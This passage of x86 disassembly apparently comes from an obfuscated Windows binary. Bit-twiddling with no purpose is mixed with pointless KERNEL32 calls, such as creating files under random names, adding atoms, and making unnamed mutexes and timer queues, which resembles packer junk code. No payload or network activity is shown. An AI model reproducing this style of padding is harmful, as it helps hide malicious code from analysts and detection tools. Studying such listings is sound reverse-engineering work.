mov edx, dword [ebp - 0x37dc]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2b3c], edx
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x26a]
and ecx, edx
mov eax, dword [0x100b9818]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x279]
add edx, eax
mov byte [ebp - 0x273], dl
mov ecx, dword [0x100b96d4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e1c]
mov eax, dword [ebp - 0x364c]
mov dword [eax], edx
lea ecx, [ebp - 0x11f8]
mov dword [0x100b99d4], ecx
mov dword [ebp - 0x3840], 0x100b7214
mov edx, dword [0x100b94c0]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [ebp - 0x36a8]
mov edx, dword [ebp - 0x2f40]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2cfc], edx
mov eax, dword [ebp - 0x3690]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0xc1]
shl edx, cl
mov eax, dword [0x100b955c]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x140]
mov edx, dword [0x100b9660]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x274], cl
push 0
push 0x100
push 1
push 0
push 4
push 0x80000000
push str.HHbXsl9eNAIQgJosL1KGq
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3844], eax
movzx ecx, word [ebp - 0x11c0]
mov edx, dword [ebp - 0x374c]
movzx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x35fc]
mov word [edx], cx
lea eax, [ebp - 0x11cc]
mov dword [0x100b99d8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b99dc], eax
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x3848], ecx
lea edx, [ebp - 0xca8]
mov dword [ebp - 0x384c], edx
mov eax, dword [0x100b9530]
xor eax, dword [ebp - 0x3780]
mov ecx, dword [0x100b96f4]
mov dword [ecx], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b99e0], eax
movzx edx, word [ebp - 0x11f4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1154], ax
movsx eax, byte [0x100b7e3b]
movsx ecx, byte [ebp - 0x269]
xor eax, ecx
mov byte [ebp - 0xc1], al
movzx edx, byte [ebp - 0x140]
mov eax, dword [0x100b9904]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100b9660]
mov byte [eax], dl
lea ecx, [ebp - 0x1148]
mov dword [ebp - 0x3850], ecx
mov edx, dword [ebp - 0x35b8]
mov eax, dword [ebp - 0x37d0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2c90], ecx
mov dword [0x100b99e4], 0x100b99c0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b99b0], eax
mov edx, dword [ebp - 0x3750]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3840]
movsx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x115c], ax
mov dl, byte [ebp - 0x1d5]
mov byte [ebp - 0x27a], dl
movzx eax, byte [0x100b7e22]
movzx ecx, byte [ebp - 0x276]
xor eax, ecx
mov byte [0x100b7e3a], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3854], eax
movsx edx, byte [ebp - 0x275]
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xf1], dl
mov edx, dword [ebp - 0x2d10]
mov dword [ebp - 0x3858], edx
mov ax, word [0x100b71e8]
mov word [0x100b99e8], ax
mov ecx, dword [ebp - 0x365c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x1194]
shl edx, cl
mov eax, dword [ebp - 0x37f0]
mov word [eax], dx
lea ecx, [ebp - 0x3604]
mov dword [ebp - 0x385c], ecx
push 0x100b99ec
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x37c4]
mov al, byte [edx]
mov byte [0x100b7e72], al
mov ecx, dword [0x100b94dc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [0x100b987c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x270]
or eax, ecx
mov byte [ebp - 0x17c], al
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
add eax, dword [ebp - 0x3838]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [0x100b9730]
movzx eax, word [edx]
movzx ecx, word [0x100b71ec]
and eax, ecx
mov word [0x100b721c], ax
mov edx, dword [ebp - 0x3840]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x365c]
movsx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x11e4], ax
movzx edx, word [ebp - 0x11c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x120c], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9a10], eax
mov ax, word [ebp - 0x11a0]
mov word [ebp - 0x1210], ax
movzx ecx, byte [ebp - 0x268]
mov edx, dword [0x100b9664]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100b9808]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x363c], eax
lea eax, [ebp - 0x2e1c]
mov dword [ebp - 0x3860], eax
push 0x5b9
push 0
push 0x100b980c
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3864], eax
mov edx, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2d10]
shl edx, cl
mov eax, dword [ebp - 0x33e8]
mov dword [eax], edx
movzx ecx, word [0x100b94ec]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1174], ax
movsx edx, byte [0x100b7156]
mov eax, dword [0x100b9850]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x100b716b], dl
lea edx, [ebp - 0x1168]
mov dword [ebp - 0x3868], edx
movsx eax, word [ebp - 0x1180]
movsx ecx, word [ebp - 0x11d4]
and eax, ecx
mov word [ebp - 0xbe8], ax
mov edx, dword [ebp - 0x3690]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [0x100b96d0]
mov byte [ecx], al
lea edx, [ebp - 0x238]
mov dword [ebp - 0x386c], edx
mov eax, dword [0x100b9550]
mov ecx, dword [0x100b997c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x379c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2d10]
xor ecx, dword [ebp - 0x2d84]
mov dword [0x100b7230], ecx
movsx edx, byte [ebp - 0x17c]
mov eax, dword [0x100b96ec]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x271], dl
lea edx, [ebp - 0xbdc]
mov dword [ebp - 0x3870], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9a14], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3874], eax
mov eax, dword [ebp - 0x37f0]
movsx ecx, word [eax]
movsx edx, word [0x100b9974]
and ecx, edx
mov word [0x100b7220], cx
movzx eax, byte [ebp - 0x4e]
movzx ecx, byte [0x100b713f]
sub eax, ecx
mov byte [ebp - 0x3d], al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9a18], eax
mov edx, dword [0x100b975c]
mov eax, dword [ebp - 0x33d4]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2f40], eax
mov ecx, dword [0x100b99d8]
mov dx, word [ecx]
mov word [0x100b9a1c], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3878], eax
mov eax, dword [ebp - 0x3680]
mov ecx, dword [ebp - 0x3860]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x346c]
mov dword [eax], edx
mov cl, byte [0x100b7e23]
mov byte [ebp - 0x27b], cl
mov edx, dword [ebp - 0x34ac]
movsx eax, word [edx]
mov ecx, dword [0x100b951c]
movsx edx, word [ecx]
or eax, edx
mov word [0x100b9888], ax
push 0
push 0xdde
push 0x21ec
push 0x759f
push 2
mov eax, dword [0x100b9820]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3668], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9a20], eax
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x387c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b99a0], eax
lea edx, [ebp - 0xae34]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x37d0]
mov ecx, dword [ebp - 0x37c0]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x35b8]
mov dword [eax], edx
mov dword [0x100b9a24], 0x100b7e6b
mov ecx, dword [ebp - 0x36e4]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x33dc]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1184], dx
mov edx, dword [ebp - 0x374c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x35e4]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xdf0], ax
mov eax, dword [0x100b99e4]
mov ecx, dword [ebp - 0x2ef4]
imul ecx, dword [eax]
mov dword [0x100b98d8], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3880], eax
mov edx, dword [ebp - 0x36ac]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x578]
shl eax, cl
mov ecx, dword [ebp - 0x35bc]
mov word [ecx], ax
lea edx, [ebp - 0x8f]
mov dword [ebp - 0x3884], edx
mov eax, dword [ebp - 0x3630]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2dc0]
mov dword [0x100b7234], ecx
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x266]
sar eax, cl
mov ecx, dword [ebp - 0x3824]
mov byte [ecx], al
mov dword [ebp - 0x3888], 0x100b71d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9a28], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b993c], eax
lea edx, [ebp - 0x1204]
mov dword [0x100b9a2c], edx
push 0
push 0x20
push 4
push 0
push 4
push 0x80000000
push str.pTf9EAZz7dHJ_tI
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x388c], eax
mov eax, dword [ebp - 0x34d0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17c]
or ecx, edx
mov byte [ebp - 0x1f4], cl
mov eax, dword [0x100b958c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2ec4]
mov dword [0x100b98d8], ecx
push 0x100b9a30
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x34ac]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xd08]
xor eax, ecx
mov word [ebp - 0x10a4], ax
push 0
lea edx, [ebp - 0x9804]
push edx
mov eax, dword [0x100b9754]
push eax
mov ecx, dword [0x100b9750]
push ecx
mov edx, dword [ebp - 0x3788]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3890], eax
mov eax, dword [ebp - 0x3620]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x1a5]
xor ecx, edx
mov byte [ebp - 0x21a], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9a48], eax
push 0
push 0x1559
push 0x13d8
push 0xe
mov eax, dword [0x100b97fc]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x368c], eax
mov dword [0x100b9a4c], 0x100b722c
push 0x100b98c0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3894], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3764], eax
push str.Y6uSXC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9a50], ax
mov dword [ebp - 0x3898], 0x100b7218
mov ecx, dword [ebp - 0x3630]
mov edx, dword [ecx]
sub edx, dword [0x100b7210]
mov dword [ebp - 0x3838], edx
movsx eax, word [ebp - 0xbe8]
mov ecx, dword [0x100b971c]
movsx ecx, word [ecx]
shl eax, cl
mov word [0x100b94a0], ax
lea edx, [ebp - 0x34c0]
mov dword [ebp - 0x389c], edx
movzx eax, byte [ebp - 0x279]
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x1b2], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x38a0], eax
mov al, byte [0x100b7e56]
mov byte [0x100b7e73], al
push str.F7OtY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9a54], ax
lea ecx, [ebp - 0x27a]
mov dword [ebp - 0x38a4], ecx
mov edx, dword [ebp - 0x3760]
mov eax, dword [edx]
mov ecx, dword [0x100b7210]
sar eax, cl
mov dword [ebp - 0x3858], eax
movzx ecx, word [0x100b9520]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11e8], ax
push 0x100b9a58
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x11c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b973c], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x38a8], eax
movzx eax, byte [0x100b7167]
mov ecx, dword [ebp - 0x3548]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100b9904]
mov byte [ecx], al
mov dx, word [0x100b94a0]
mov word [ebp - 0x1214], dx
movzx eax, word [0x100b9a54]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11f4], ax
mov ecx, dword [ebp - 0x36c8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x36e4]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x3898]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x38ac], eax
lea ecx, [ebp - 0x37ec]
mov dword [0x100b9a7c], ecx
mov edx, dword [ebp - 0x372c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x27a]
xor eax, ecx
mov byte [ebp - 0xf7], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9a80], eax
lea edx, [ebp - 0x3790]
mov dword [ebp - 0x38b0], edx
movzx eax, word [0x100b9970]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x120c], ax
push 0x100b9a84
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x33e4]
movzx edx, byte [ecx]
mov eax, dword [0x100b9664]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b7e0f], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x38b4], eax
movzx edx, word [ebp - 0xa10]
movzx ecx, word [ebp - 0xd80]
shl edx, cl
mov word [ebp - 0x1204], dx
push 0x1e23
push 0
push 0x100b99a8
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x36fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x38b8], eax
movsx eax, word [ebp - 0x11e4]
movsx ecx, word [ebp - 0x115c]
and eax, ecx
mov word [ebp - 0x5a0], ax
mov dl, byte [ebp - 0x266]
mov byte [0x100b7ec6], dl
mov ax, word [ebp - 0xf9c]
mov word [ebp - 0x1218], ax
mov ecx, dword [ebp - 0x379c]
mov edx, dword [0x100b98e8]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x2e1c], eax
mov ecx, dword [ebp - 0x3478]
mov edx, dword [ebp - 0x2d10]
xor edx, dword [ecx]
mov eax, dword [0x100b96f4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x1b2]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xe], cl
mov dword [ebp - 0x38bc], 0x100b96b4
movsx ecx, byte [ebp - 0x1f4]
mov edx, dword [ebp - 0x371c]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [0x100b955c]
mov byte [edx], cl
movzx eax, word [ebp - 0x11a8]
movzx ecx, word [ebp - 0xd80]
and eax, ecx
mov edx, dword [ebp - 0x33ec]
mov word [edx], ax
mov eax, dword [ebp - 0x37f4]
mov ecx, dword [0x100b97f8]
sub ecx, dword [eax]
mov dword [ebp - 0x37dc], ecx
mov edx, dword [ebp - 0x377c]
mov eax, dword [0x100b9a7c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100b7238], edx
lea eax, [ebp - 0x21a]
mov dword [ebp - 0x38c0], eax
movsx edx, byte [ebp - 0x1d5]
movsx ecx, byte [0x100b7e03]
sar edx, cl
mov eax, dword [ebp - 0x37b8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x36ac]
mov dx, word [ecx]
mov word [0x100b9aa8], dx
push 0
push 0x10
push 2
push 0
push 2
push 0x80000000
push str.bcU3W_aSZZzHnylOlfEIeok8WoJuS
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9aac], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9ab0], eax
lea eax, [ebp - 0x108c]
mov dword [ebp - 0x38c4], eax
mov ecx, dword [0x100b9620]
mov edx, dword [ecx]
mov dword [ebp - 0x38c8], edx
movsx eax, byte [0x100b7e02]
mov ecx, dword [ebp - 0x383c]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b9654]
mov byte [ecx], al
lea edx, [ebp - 0xae10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9928], eax
movzx eax, byte [ebp - 0x273]
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], al
lea edx, [ebp - 0x3604]
mov dword [ebp - 0x38cc], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x38d0], eax
movzx eax, word [ebp - 0x1168]
movzx ecx, word [0x100b98f8]
or eax, ecx
mov edx, dword [0x100b99d8]
mov word [edx], ax
mov eax, dword [ebp - 0x365c]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x1214]
shl edx, cl
mov eax, dword [ebp - 0x36ac]
mov word [eax], dx
mov dword [ebp - 0x38d4], 0x100b97f8
lea ecx, [ebp - 0xcf]
mov dword [0x100b9ab4], ecx
movzx edx, byte [ebp - 0x1b2]
mov eax, dword [0x100b9904]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3608]
mov byte [ecx], dl
mov edx, dword [ebp - 0x367c]
mov ax, word [edx]
mov word [ebp - 0x121c], ax
mov dword [0x100b9ab8], 0x100b71d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9abc], eax
mov ecx, dword [ebp - 0x36bc]
mov edx, dword [0x100b98b0]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x326c], eax
mov ecx, dword [ebp - 0x35c8]
movsx edx, word [ecx]
mov eax, dword [0x100b9508]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x35ac]
mov word [eax], dx
mov ecx, dword [ebp - 0x3628]
mov edx, dword [ebp - 0x3768]
xor edx, dword [ecx]
mov dword [0x100b7210], edx
lea eax, [ebp - 0x266]
mov dword [ebp - 0x38d8], eax
movzx ecx, byte [ebp - 0x274]
movzx edx, byte [0x100b7143]
xor ecx, edx
mov eax, dword [0x100b96fc]
mov byte [eax], cl
movzx ecx, word [ebp - 0x11cc]
movzx edx, word [0x100b71e8]
xor ecx, edx
mov word [ebp - 0x59c], cx
push str.UGrnVx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1220], ax
mov eax, dword [ebp - 0x3630]
mov ecx, dword [ebp - 0x3800]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x3768], edx
mov eax, dword [0x100b997c]
mov ecx, dword [ebp - 0x2ba4]
sub ecx, dword [eax]
mov dword [0x100b723c], ecx
movsx edx, word [ebp - 0x10a4]
movsx eax, word [0x100b94a0]
or edx, eax
mov ecx, dword [ebp - 0x3710]
mov word [ecx], dx
lea edx, [ebp - 0x275]
mov dword [ebp - 0x38dc], edx
mov dword [0x100b9ac0], 0x100b7e2a
push 0
lea eax, [ebp - 0x980c]
push eax
mov ecx, dword [0x100b9714]
push ecx
mov edx, dword [0x100b9710]
push edx
mov eax, dword [ebp - 0x378c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b94c8], eax
push str.NJ_QoyjMj_Ut
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9ac4], ax
mov ecx, dword [0x100b955c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x27a]
shl edx, cl
mov byte [ebp - 0x87], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x38e0], eax
push 0x100b9ac8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3760]
mov edx, dword [ebp - 0x3768]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x3838], edx
mov eax, dword [ebp - 0x35e4]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
and ecx, eax
mov word [0x100b9924], cx
mov ecx, dword [ebp - 0x37f0]
movsx edx, word [ecx]
mov eax, dword [0x100b99d0]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x115c], dx
push 1
lea edx, [ebp - 0x97fc]
push edx
mov eax, dword [ebp - 0x97f8]
push eax
mov ecx, dword [ebp - 0x97fc]
push ecx
mov edx, dword [ebp - 0x3718]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9884], eax
mov eax, dword [ebp - 0x2be8]
mov dword [ebp - 0x38e4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9aec], eax
lea ecx, [ebp - 0xae7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x334c]
mov al, byte [edx]
mov byte [0x100b7ec7], al
movsx ecx, byte [0x100b7e3b]
mov edx, dword [ebp - 0x35f4]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x262], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9a80], eax
mov ecx, dword [ebp - 0x38b0]
mov edx, dword [ecx]
mov dword [ebp - 0x38e8], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9af0], eax
movzx eax, word [ebp - 0x1158]
movzx ecx, word [ebp - 0xf0c]
sar eax, cl
mov word [0x100b98f8], ax
movsx edx, word [ebp - 0x1180]
movsx ecx, word [ebp - 0x1160]
shl edx, cl
mov eax, dword [ebp - 0x36ac]
mov word [eax], dx
mov ecx, dword [ebp - 0x3660]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x35e4]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xefc], dx
push str.Log99_EX_CV0TM_DrJ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1224], ax
movzx edx, word [ebp - 0x11b0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b95a0], ax
mov eax, dword [ebp - 0x3700]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9af4], eax
mov ecx, dword [0x100b9ac0]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7e0f]
xor edx, eax
mov ecx, dword [0x100b9660]
mov byte [ecx], dl
mov edx, dword [ebp - 0x364c]
mov eax, dword [ebp - 0x379c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x350c]
mov dword [edx], ecx
mov dword [ebp - 0x38ec], 0x100b9644
lea eax, [ebp - 0xaea0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x37e4]
movsx edx, byte [ecx]
mov eax, dword [0x100b9724]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b717a], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9518], eax
mov edx, dword [ebp - 0x36f0]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x121c]
sar eax, cl
mov word [ebp - 0x61c], ax
lea ecx, [ebp - 0xe98]
mov dword [ebp - 0x38f0], ecx
push 0
push 0x100
push 1
push 0
push 8
push 0x80000000
push str.AJGz55DdM6BN
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x38f4], eax
movzx edx, word [0x100b9848]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9af8], ax
mov dword [0x100b9afc], 0x100b7e23
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x38ac], eax
mov eax, dword [ebp - 0x3618]
mov cl, byte [eax]
mov byte [ebp - 0x27c], cl
mov edx, dword [0x100b952c]
mov eax, dword [0x100b98e8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3680]
mov dword [edx], ecx
push 0
push 0x200
push 4
push 0
push 1
push 0x80000000
push str.UxRPtOLB9n
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x38f8], eax
mov eax, dword [ebp - 0x33e8]
mov edx, dword [ebp - 0x3170]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [0x100b9620]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x87]
movsx edx, byte [ebp - 0x264]
or ecx, edx
mov eax, dword [ebp - 0x38dc]
mov byte [eax], cl
mov ecx, dword [0x100b999c]
movzx edx, word [ecx]
mov eax, dword [0x100b9730]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1100], dx
mov edx, dword [ebp - 0x35bc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x5a0]
and eax, ecx
mov word [0x100b7240], ax
lea edx, [ebp - 0x276]
mov dword [ebp - 0x38fc], edx
push 1
lea eax, [ebp - 0x9814]
push eax
mov ecx, dword [0x100b9b04]
push ecx
mov edx, dword [0x100b9b00]
push edx
mov eax, dword [0x100b96b0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3828], eax
mov ecx, dword [ebp - 0x35b8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x37dc]
mov dword [ebp - 0x3744], edx
push str.Eg_TOnS5cV9_IQqd_UAV7
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9b08], ax
movzx eax, word [ebp - 0xc94]
mov ecx, dword [0x100b9730]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [0x100b9544]
mov word [edx], ax
mov eax, dword [ebp - 0x38cc]
mov ecx, dword [eax]
xor ecx, dword [0x100b9540]
mov dword [ebp - 0x3654], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9900], eax
mov edx, dword [0x100b9afc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x269]
shl eax, cl
mov byte [ebp - 0x2e], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3720], eax
mov ecx, dword [ebp - 0x361c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x37a0]
movsx ecx, word [eax]
add edx, ecx
mov word [0x100b9974], dx
mov edx, dword [0x100b9988]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x26c]
and eax, ecx
mov edx, dword [ebp - 0x3608]
mov byte [edx], al
lea eax, [ebp - 0x2afc]
mov dword [ebp - 0x3900], eax
mov cl, byte [0x100b7166]
mov byte [0x100b7efa], cl
movzx edx, word [ebp - 0x1210]
movzx eax, word [0x100b94f8]
or edx, eax
mov word [ebp - 0x1138], dx
mov cx, word [0x100b9924]
mov word [ebp - 0x1228], cx
mov edx, dword [ebp - 0x379c]
imul eax, dword [edx], 0x143f
mov dword [0x100b98d8], eax
movsx edx, word [0x100b7220]
movsx ecx, word [ebp - 0xe98]
sar edx, cl
mov word [ebp - 0x768], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b99dc], eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x3904], eax
mov ecx, dword [0x100b71c8]
xor ecx, dword [ebp - 0x37b0]
mov dword [0x100b7244], ecx
mov edx, dword [0x100b9afc]
mov al, byte [edx]
